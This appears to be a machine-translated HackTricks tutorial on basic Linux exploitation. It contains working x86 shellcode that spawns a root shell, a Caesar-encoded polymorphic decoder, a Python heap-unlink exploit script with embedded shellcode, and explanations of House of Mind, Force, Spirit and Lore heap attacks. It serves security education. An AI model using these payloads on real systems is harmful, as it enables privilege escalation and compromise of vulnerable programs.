.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。
2.SHELLCODE
查看内核中断:cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; 清空 eax
xor ebx, ebx ; ebx = 0 因为没有参数要传
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; 执行系统调用
nasm -f elf assembly.asm —> 返回一个 .o 文件
ld assembly.o -o shellcodeout —> 生成一个由汇编代码组成的可执行文件,可以用 objdump 提取操作码
objdump -d -Mintel ./shellcodeout —> 查看确实是我们的 shellcode 并提取 OpCodes
检查 shellcode 是否有效
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
为了查看系统调用是否正确执行,必须编译上述程序,系统调用应出现在 strace ./PROGRAMA_COMPILADO
在创建 shellcodes 时,可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码,并将 EIP 放入栈中。在调用指令之后,我们放入所需的字符串,因此通过这个 EIP,我们可以指向字符串并继续执行代码。
EJ 技巧 (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ 使用堆栈 (/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Huter:
由一小段代码组成,该代码遍历与进程关联的内存页面,以寻找存储在其中的shellcode(查找shellcode中放置的某个签名)。在仅有小空间注入代码的情况下非常有用。
Shellcodes polimórficos
由加密的shell组成,包含一小段代码用于解密并跳转到它,使用Call-Pop技巧,这将是一个ejemplo cifrado cesar:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5.补充方法
Murat技术
在Linux中,所有程序的映射从0xbfffffff开始。
通过观察Linux中新进程的堆栈构建方式,可以开发出一种利用程序在仅有shellcode的环境中启动的漏洞。这个地址可以计算为:addr = 0xbfffffff - 4 - strlen(完整可执行文件名) - strlen(shellcode)
这样就可以简单地获得包含shellcode的环境变量的地址。
这得益于execle函数允许创建一个仅包含所需环境变量的环境。
格式字符串导致缓冲区溢出
sprintf将格式化字符串移动到一个变量中。因此,您可以滥用字符串的格式来导致变量中的缓冲区溢出。
例如,负载%.44xAAAA
将在变量中写入44B+"AAAA",这可能导致缓冲区溢出。
__atexit结构
{% hint style="danger" %} 如今,利用这个非常奇怪。 {% endhint %}
atexit()
是一个函数,其他函数作为参数传递给它。这些函数将在执行**exit()
或main的返回时被执行**。
如果您可以修改这些函数的地址以指向shellcode,例如,您将获得对该进程的控制,但这目前更复杂。
目前,要执行的函数的地址被隐藏在多个结构后,最终指向的地址不是函数的地址,而是用XOR加密和用随机密钥进行位移。因此,目前这个攻击向量在x86和x64_86上不是很有用。
加密函数是**PTR_MANGLE
。其他架构如m68k、mips32、mips64、aarch64、arm、hppa...不实现加密函数,因为它返回与输入相同**。因此,这些架构可以通过这个向量进行攻击。
setjmp() & longjmp()
{% hint style="danger" %} 如今,利用这个非常奇怪。 {% endhint %}
setjmp()
允许保存上下文(寄存器)
longjmp()
允许恢复上下文。
保存的寄存器是:EBX, ESI, EDI, ESP, EIP, EBP
发生的情况是EIP和ESP通过**PTR_MANGLE
函数传递,因此易受此攻击的架构与上述相同**。
它们对于错误恢复或中断很有用。
然而,从我所读到的,其他寄存器没有受到保护,因此如果在被调用的函数内部有call ebx
、call esi
或call edi
,则可以控制。或者您也可以修改EBP以修改ESP。
C++中的VTable和VPTR
每个类都有一个Vtable,它是一个指向方法的指针数组。
每个类的对象都有一个VPtr,它是指向其类数组的指针。VPtr是每个对象的头部的一部分,因此如果成功覆盖了VPtr,则可以修改它以指向一个虚拟方法,从而执行一个函数将转到shellcode。
预防措施和规避
Libsafe替换
通过以下方式激活:LD_PRELOAD=/lib/libsafe.so.2
或
“/lib/libsave.so.2” > /etc/ld.so.preload
拦截对某些不安全函数的调用,替换为其他安全函数。未标准化。(仅适用于x86,不适用于使用-fomit-frame-pointer的编译,不适用于静态编译,并非所有易受攻击的函数都变得安全,LD_PRELOAD在suid二进制文件中无效)。
ASCII装甲地址空间
它的目的是将共享库加载到0x00000000到0x00ffffff之间,以确保始终有一个字节0x00。然而,这实际上几乎无法阻止任何攻击,尤其是在小端模式下。
ret2plt
它的目的是执行ROP,以便调用strcpy@plt(来自plt)并指向GOT中的条目,并将要调用的函数的第一个字节复制到(system())。接下来,做同样的事情,指向GOT+1并复制system()的第二个字节……最后调用保存在GOT中的地址,这将是system()。
使用chroot()的监狱
debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统
管理员可以通过以下方式退出这些监狱:mkdir foo; chroot foo; cd ..
代码插桩
Valgrind —> 查找错误
Memcheck
RAD(返回地址防御)
Insure++
8 堆溢出:基本利用
分配块
prev_size |
size | —头部
*mem | 数据
空闲块
prev_size |
size |
*fd | 前向块指针
*bk | 后向块指针 —头部
*mem | 数据
空闲块在一个双向链表(bin)中,且永远不会有两个空闲块相邻(会合并)。
在“size”中有位表示:如果前一个块正在使用,如果块是通过mmap()分配的,以及块是否属于主arena。
如果在释放一个块时,任何相邻的块是空闲的,这些块将通过unlink()宏合并,并将新的更大的块传递给frontlink()以插入适当的bin。
unlink(){
BK = P->bk; —> 新块的BK是之前空闲块的BK
FD = P->fd; —> 新块的FD是之前空闲块的FD
FD->bk = BK; —> 下一个块的BK指向新块
BK->fd = FD; —> 上一个块的FD指向新块
}
因此,如果我们能够将P->bk修改为shellcode的地址,并将P->fd修改为GOT或DTORS中的一个条目减去12,则可以实现:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
这样在程序退出时就会执行shellcode。
此外,unlink()的第4条语句写入了一些内容,shellcode必须为此进行修复:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> 这会导致从shellcode的第8个字节开始写入4个字节,因此shellcode的第一条指令必须是一个jmp,以跳过这一部分并落入一些nops中,进而进入其余的shellcode。
因此,利用被创建:
在buffer1中放入shellcode,从jmp开始,以便落入nops或其余的shellcode。
在shellcode之后填充,直到到达下一个块的prev_size和size字段。在这些位置放入0xfffffff0(以便覆盖prev_size,使其具有表示空闲的位)和“-4”(0xfffffffc)在size中(以便在检查第三个块时,如果第二个块实际上是空闲的,它会去修改的prev_size,告诉它是空闲的)-> 这样,当free()检查时,它将去第三个块的size,但实际上会去第二个块-4,并认为第二个块是空闲的。然后将调用unlink()。
调用unlink()时,将使用第二个块的前几个数据作为P->fd,因此将放入要覆盖的地址-12(因为在FD->bk中将加12到存储在FD中的地址)。在该地址中,将放入第二个块中找到的第二个地址,我们希望它是指向shellcode的地址(伪造的P->bk)。
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12字节填充
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #确保表示前一个块空闲的位为1
fake_size = pack("<I”, 0xfffffffc) #-4,以便让“size”指向第三个块时,实际上指向prev_size(因为它在检查第二个块是否空闲时)
addr_sc = pack("<I", 0x0804a008 + 8) #在负载的开头放入8字节的填充
got_free = pack("<I", 0x08048300 - 12) #free()在plt中的地址-12(将是要覆盖的地址,以便在第二次调用free时触发shellcode)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #如前所述,负载以8字节的填充开始
payload += prev_size + fake_size + got_free + addr_sc #修改第二个块,got_free指向我们将存储地址addr_sc + 12的地方
os.system("./8.3.o " + payload)
unset()以相反的顺序释放(wargame)
我们控制了3个连续的块,并以与分配的相反顺序释放它们。
在这种情况下:
在块c中放入shellcode
块a用于覆盖块b,以便size具有PREV_INUSE位被禁用,从而使其认为块a是空闲的。
此外,在块b的头部覆盖size,使其值为-4。
因此,程序将认为“a”是空闲的,并在一个bin中,因此将调用unlink()以解除链接。然而,由于PREV_SIZE的头部值为-4,它将认为“a”的块实际上从b+4开始。也就是说,它将对从b+4开始的块进行unlink(),因此在b+12处将是指针“fd”,在b+16处将是指针“bk”。
这样,如果在bk中放入指向shellcode的地址,并在fd中放入指向“puts()”的地址-12,我们就得到了我们的负载。
前向链接技术
当释放某个东西且其相邻的块都不是空闲时,称为前向链接,不会调用unlink(),而是直接调用frontlink()。
当攻击的malloc从未被释放(free())时,这种漏洞很有用。
需要:
一个可以通过输入数据的函数溢出的缓冲区
一个与此相邻的缓冲区,必须被释放,并且其头部的fd字段将通过前一个缓冲区的溢出进行修改
一个要释放的缓冲区,其大小大于512但小于前一个缓冲区
在第3步之前声明的缓冲区,允许覆盖此缓冲区的prev_size
通过这种方式,我们可以在两个malloc中不受控制地覆盖,并在一个中以受控方式覆盖,但只释放那个。
双重释放漏洞
如果对同一指针调用两次free(),则会有两个bins指向同一地址。
如果想要再次使用其中一个,将毫无问题地分配。如果想使用另一个,则会分配相同的空间,因此我们将有指针“fd”和“bk”被伪造,包含先前分配的数据。
释放后
一个先前释放的指针在没有控制的情况下再次使用。
8 堆溢出:高级利用
unlink()和FrontLink()技术在修改unlink()函数时被删除。
心灵之屋
只需一次free()调用即可引发任意代码的执行。需要寻找一个可以被先前溢出并释放的第二个块。
一次free()调用会导致调用public_fREe(mem),它执行:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mem); —> 返回指向块开始的地址(mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
在[1]中检查size字段的NON_MAIN_ARENA位,可以更改以使检查返回true并执行heap_for_ptr(),该函数对“mem”进行与运算,将2.5个最低有效字节置为0(在我们的例子中,从0x0804a000变为0x08000000),并访问0x08000000->ar_ptr(就像是一个struct heap_info)。
通过这种方式,如果我们可以控制一个块,例如在0x0804a000,并且要释放一个块在0x081002a0,我们可以到达地址0x08100000并写入我们想要的内容,例如0x0804a000。当第二个块被释放时,将发现heap_for_ptr(ptr)->ar_ptr返回我们在0x08100000中写入的内容(因为对0x081002a0应用了之前看到的与运算,从中提取前4个字节,ar_ptr)。
通过这种方式调用_int_free(ar_ptr, mem),即**_int_free(0x0804a000, 0x081002a0)**
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
正如我们之前看到的,我们可以控制av的值,因为它是我们在要释放的块中写入的内容。
根据unsorted_chunks的定义,我们知道:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
因此,如果在av->bins[2]中写入__DTOR_END__-12的值,在最后一条指令中将写入__DTOR_END__的地址。
也就是说,在第一个块的开头,我们必须多次放入__DTOR_END__-12的地址,因为av->bins[2]将从那里获取。
在第二个块的地址中,最后5个零的地址中必须写入指向第一个块的地址,以便heap_for_ptr()认为ar_ptr位于第一个块的开头,并从中提取av->bins[2]。
在第二个块中,借助第一个块,我们将prev_size覆盖为一个跳转0x0c,并将size设置为某个值以激活-> NON_MAIN_ARENA。
接下来,在块2中放入一堆nops,最后是shellcode。
通过这种方式,将调用_int_free(TROZO1, TROZO2)并遵循指令,将prev_size的地址写入__DTOR_END__,该地址将跳转到shellcode。
要应用此技术,还需要满足一些额外的要求,这使得负载更加复杂。
此技术不再适用,因为对unlink应用了几乎相同的补丁。比较新指向的地址是否也指向它自己。
Fastbin
这是心灵之屋的一个变体。
我们希望执行以下代码,该代码在_int_free()函数的第一次检查后执行。
fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
通过这种方式,如果在“fb”中放入指向GOT中某个函数的地址,则在该地址中将放入被覆盖的块的地址。为此,arena必须接近dtors的地址。更确切地说,av->max_fast必须在我们要覆盖的地址。
由于在心灵之屋中,我们看到我们控制了av的位置。
因此,如果在size字段中放入8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index()将返回fastbins[-1],这将指向av->max_fast。
在这种情况下,av->max_fast将是要被覆盖的地址(而不是指向的地址,而是该位置将被覆盖)。
此外,必须满足释放的相邻块的大小大于8 -> 由于我们说释放的块的大小为8,因此在这个伪造的块中只需放入一个大于8的大小(由于shellcode将放在释放的块中,因此在开头需要放入一个跳转,以便落入nops中)。
此外,该伪造块必须小于av->system_mem。av->system_mem位于更高1848字节的位置。
由于_DTOR_END_的零和GOT中的少量地址,这些部分中的任何地址都不适合被覆盖,因此让我们看看如何应用fastbin来攻击堆栈。
另一种攻击方式是将av重定向到堆栈。
如果我们将size修改为16而不是8,则:fastbin_index()将返回fastbins[0],我们可以利用这一点来覆盖堆栈。
为此,堆栈中不能有任何canary或奇怪的值,实际上我们必须处于:4个零字节 + EBP + RET
这4个零字节需要av位于该地址,并且av的第一个元素是必须为0的互斥体。
av->max_fast将是EBP,并且将是一个值,帮助我们跳过限制。
在av->fastbins[0]中将被覆盖为p的地址,并将是RET,这样将跳转到shellcode。
此外,在av->system_mem(在堆栈位置上方1484字节)将有足够的垃圾,允许我们跳过进行的检查。
此外,必须满足释放的相邻块的大小大于8 -> 由于我们说释放的块的大小为16,因此在这个伪造块中只需放入一个大于8的大小(由于shellcode将放在释放的块中,因此在开头需要放入一个跳转,以便落入nops中,这些nops位于新伪造块的size字段之后)。
精神之屋
在这种情况下,我们希望拥有一个可以被攻击者修改的malloc指针(例如,指针位于可能溢出的变量下方的堆栈中)。
这样,我们可以使该指针指向任何地方。然而,并非所有位置都是有效的,伪造块的大小必须小于av->max_fast,更具体地说,必须等于未来malloc()调用中请求的大小+8。因此,如果我们知道在此可变指针后会调用malloc(40),则伪造块的大小必须等于48。
例如,如果程序询问用户一个数字,我们可以输入48并将可修改的malloc指针指向接下来的4个字节(这些字节可能幸运地属于EBP,因此48位于后面,就像是头部size)。此外,地址ptr-4+48必须满足多个条件(在这种情况下ptr=EBP),即8 < ptr-4+48 < av->system_mem。
如果满足这些条件,当调用我们之前提到的malloc(40)时,将分配EBP的地址。如果攻击者还可以控制写入此malloc的内容,则可以将EBP和EIP覆盖为所需的地址。
我认为这是因为当free()释放时,它将记录在指向堆栈的EBP的地址中有一个完美大小的新malloc()要保留,因此将分配该地址。
力量之屋
需要:
- 溢出一个允许覆盖wilderness的块
- 一次malloc()调用,大小由用户定义
- 一次malloc()调用,其数据可以由用户定义
首先,覆盖wilderness块的size为一个非常大的值(0xffffffff),因此任何足够大的内存请求将在_int_malloc()中处理,而无需扩展堆。
其次,修改av->top以指向攻击者控制的内存区域,例如堆栈。在av->top中放置&EIP - 8。
我们必须覆盖av->top以指向攻击者控制的内存区域:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim获取当前wilderness块的地址(当前的av->top),而remainder正好是该地址加上malloc()请求的字节数。因此,如果&EIP-8在0xbffff224,av->top包含0x080c2788,则我们在受控malloc中请求的数量以使av->top指向$EIP-8的下一个malloc()将是:
0xbffff224 - 0x080c2788 = 3086207644。
因此,av->top将保存修改后的值,下一个malloc将指向EIP并能够覆盖它。
重要的是,新的wilderness块的size必须大于最后一次malloc()请求的大小。也就是说,如果wilderness指向&EIP-8,则size将正好位于堆栈的EBP字段中。
传说之屋
SmallBin腐败
释放的块根据其大小插入bin。但在插入之前,它们会保存在未排序的bins中。释放的块不会立即放入其bin,而是停留在未排序的bins中。接下来,如果请求一个新块并且之前释放的块可以使用,则将返回该块,但如果请求更大的块,则释放的块将放入其适当的bin中。
要达到易受攻击的代码,内存请求必须大于av->max_fast(通常为72)且小于MIN_LARGE_SIZE(512)。
如果在bin中有一个适合请求的块,则在解除链接后返回该块:
bck = victim->bk; 指向前一个块,这是我们可以更改的唯一信息。
bin->bk = bck; 倒数第二个块变为最后一个块,如果bck指向堆栈,则下一个请求的块将获得此地址。
bck->fd = bin; 关闭列表,使其指向bin。
需要:
请求两个malloc,以便在第一个malloc释放后可以溢出第二个malloc(即在溢出之前请求一个大于第二个块的malloc)。
请求的malloc的地址由攻击者控制。
目标如下,如果我们可以对一个堆进行溢出,而其下方有一个已经释放并在其bin中的块,我们可以更改其bk指针。如果我们更改其bk指针,并且该块成为bin列表的第一个块并被请求,则将欺骗bin,使其认为列表的最后一个块(下一个提供的块)位于我们放置的虚假地址(例如堆栈或GOT)。因此,如果再次请求另一个块,并且攻击者在其中具有权限,则将提供一个块在所需位置,并且可以在其中写入。
在释放修改后的块后,必须请求一个大于释放的块,这样修改后的块将从未排序的bins中移出并放入其bin中。
一旦在其bin中,是时候通过溢出修改其bk指针,使其指向我们想要覆盖的地址。
因此,bin将等待足够多的malloc()调用,以便重新使用修改后的bin并欺骗bin,使其认为下一个块位于虚假地址。接下来,将提供我们感兴趣的块。
为了尽快执行漏洞,理想情况下应为:请求易受攻击的块,请求将被修改的块,释放该块,请求一个大于将被修改的块,修改该块(漏洞),请求一个与被修改的块相同大小的块,并请求第二个相同大小的块,这将指向所选地址。
为了保护此攻击,使用了典型的检查,以确保块“不是”伪造的:检查bck->fd是否指向victim。也就是说,在我们的情况下,伪造块的fd*指针是否指向victim。为了绕过此保护,攻击者应能够以某种方式(可能通过堆栈)在适当的地址写入victim的地址。这样看起来就像是一个真实的块。
LargeBin腐败
需要与之前相同的要求以及更多要求,此外,分配的块必须大于512。
攻击与之前相同,即必须修改bk指针,并且需要所有这些malloc()调用,但还必须修改修改块的size,以使该size - nb < MINSIZE。
例如,将size设置为1552,以使1552 - 1544 = 8 < MINSIZE(减法不能为负,因为比较的是无符号数)。
此外,已引入补丁以使其更加复杂。
堆喷涂
基本上是请求尽可能多的堆内存,并用以nops结尾的shellcode填充这些内存。此外,作为填充使用0x0c。因为将尝试跳转到地址0x0c0c0c0c,因此如果覆盖了将要调用的某个地址,则将跳转到那里。基本上,策略是请求尽可能多的内存,以查看是否覆盖了某个指针并跳转到0x0c0c0c0c,期待那里有nops。
堆风水
通过请求和释放的方式,安排内存,使得在空闲块之间保留已分配的块。要溢出的缓冲区将位于其中一个“蛋”中。
objdump -d 可执行文件 —> 反汇编函数
objdump -d ./PROGRAMA | grep FUNCION —> 获取函数地址
objdump -d -Mintel ./shellcodeout —> 查看是否确实是我们的shellcode并提取操作码
objdump -t ./exec | grep varBss —> 符号表,以提取变量和函数的地址
objdump -TR ./exec | grep exit(func lib) —> 提取库函数的地址(GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> 提取要在GOT中覆盖的puts地址
objdump -D ./exec —> 反汇编所有内容直到plt条目
objdump -p -/exec
Info functions strncmp —> gdb中函数的信息
有趣的课程
参考文献
{% hint style="success" %}
学习和实践AWS黑客技术:HackTricks培训AWS红队专家(ARTE)
学习和实践GCP黑客技术:HackTricks培训GCP红队专家(GRTE)
支持HackTricks
- 查看订阅计划!
- 加入 💬 Discord小组或电报小组或在 Twitter 🐦 @hacktricks_live上关注我们。
- 通过向 HackTricks和HackTricks Cloud GitHub库提交PR分享黑客技巧。